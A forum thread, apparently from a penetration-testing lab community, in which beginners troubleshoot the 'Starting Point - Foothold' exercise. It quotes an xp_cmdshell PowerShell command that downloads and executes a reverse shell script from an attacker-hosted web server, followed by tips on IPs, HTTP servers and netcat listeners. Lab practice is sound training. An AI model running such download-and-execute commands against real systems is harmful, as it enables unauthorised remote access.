Starting Point - Foothold [ shell.ps1 ]

Guys excuse the question in advance, I'm a novice at the very beginning. I arrived at the "Starting Point - Foothold" step, I precisely created the shell.ps1 file and saved it locally on my kali linux.

Where it says: "We can now issue the command to download and execute the reverse shell through xp_cmdshell."

The following command where should I run it ?:

  xp_cmdshell "powershell" IEX (New-Object Net.WebClient) .DownloadString (\ "http: //10.10.14.3/shell.ps1 \"); "

It gives me a mistake, I'm sure I'm wrong!
https://i.imgur.com/pod0Dkg.png

Where should I save the shell.ps1 file and where should I start the above command?

Thank you very much!

Tagged:

Comments

  • edited May 8

    Check your web server/IP address ;)


    Check out my blog
    Always happy to help! but please consider dropping some respect. ^^

  • @3l0nMu5k thanks for replay

    https://imgur.com/ma2cyfZ.png

    Could you please explain me better? I am truly novice.

    Thanks

  • I'm stuck here too. Unable to connect to the remote server

  • edited May 10

    Change the ip address found in the shell.ps1 file, to the ipaddress on your ifconfig.

    So for you, change the ip in the shell.ps1 file to 10.10.15.31

  • @tdle thanks for replay. I hope now is ok but have this error:

    https://imgur.com/kAUPgZW.png

    Could you please help me again?

    Many thanks!!!

  • Did you change the address in the shell.ps1 file too?

  • Type your comment> @tdle said:

    Did you change the address in the shell.ps1 file too?

    ONLY in shell.ps1 did I change it, should it be changed somewhere else?

    Thanks

  • edited May 12

    Type your comment> @tdle said:

    Did you change the address in the shell.ps1 file too?

    yup, I did but still getting the error "Unable to Connect to remote server"

    -->>>got it now thanks

  • did u start the http-server in the first place?

    Ja4V8s28Ck
    Nothing is an Accident, It's Just a part of Destiny

  • Type your comment> @Ja4V8s28Ck said:

    did u start the http-server in the first place?

    https://imgur.com/M449B53.png
    https://imgur.com/GTp6cAb.png
    https://imgur.com/tiXYH8C.png
    https://imgur.com/dYlH74F.png

    What am I doing wrong? :neutral:

  • does kali have UFW??and try using quotation for ports in shell.ps1, too; as far as i can see, you file is downloaded successfully, but it didnt jzt execute, try creating a new shell.ps1 , even a small indentation can prevent the whole process from working

    Ja4V8s28Ck
    Nothing is an Accident, It's Just a part of Destiny

  • Type your comment> @Ja4V8s28Ck said:

    does kali have UFW??and try using quotation for ports in shell.ps1, too; as far as i can see, you file is downloaded successfully, but it didnt jzt execute, try creating a new shell.ps1 , even a small indentation can prevent the whole process from working

    i delete file create again same problem :(((((
    https://imgur.com/cxRJGof.png

  • w00w00 have my first flag ahahahah... Thanks @Ja4V8s28Ck

  • Hi would someone be able to help? I'm able to follow all the steps but there seems to be something wrong with the net cat connection, it doesn't show it opening powershell. Am I missing an application on Kali? Seems like all the steps are happening but there's an issue...
    image

    I'll continue trying and searching the forum, but any help would be appreciated!

  • Update: So as you can see above, there is no output showing "Running Windows Powershell..." or whatever. I pressed enter a couple times and ran "ipconfig" and it turns out I was connected all along.

    So I've finished! But if anyone can chime in on why the output wasn't there, it might help someone else down the line.

  • Type your comment> @YFotL said:

    Type your comment> @tdle said:

    Did you change the address in the shell.ps1 file too?

    yup, I did but still getting the error "Unable to Connect to remote server"

    -->>>got it now thanks

    @misentomanuel said:
    w00w00 have my first flag ahahahah... Thanks @Ja4V8s28Ck

    how did you solve it? i appear to be stuck in the same place

Sign In to comment.